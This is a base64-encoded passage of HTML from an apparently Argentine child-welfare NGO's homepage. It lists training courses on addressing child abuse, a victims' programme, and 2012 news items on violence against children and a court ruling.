AgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAg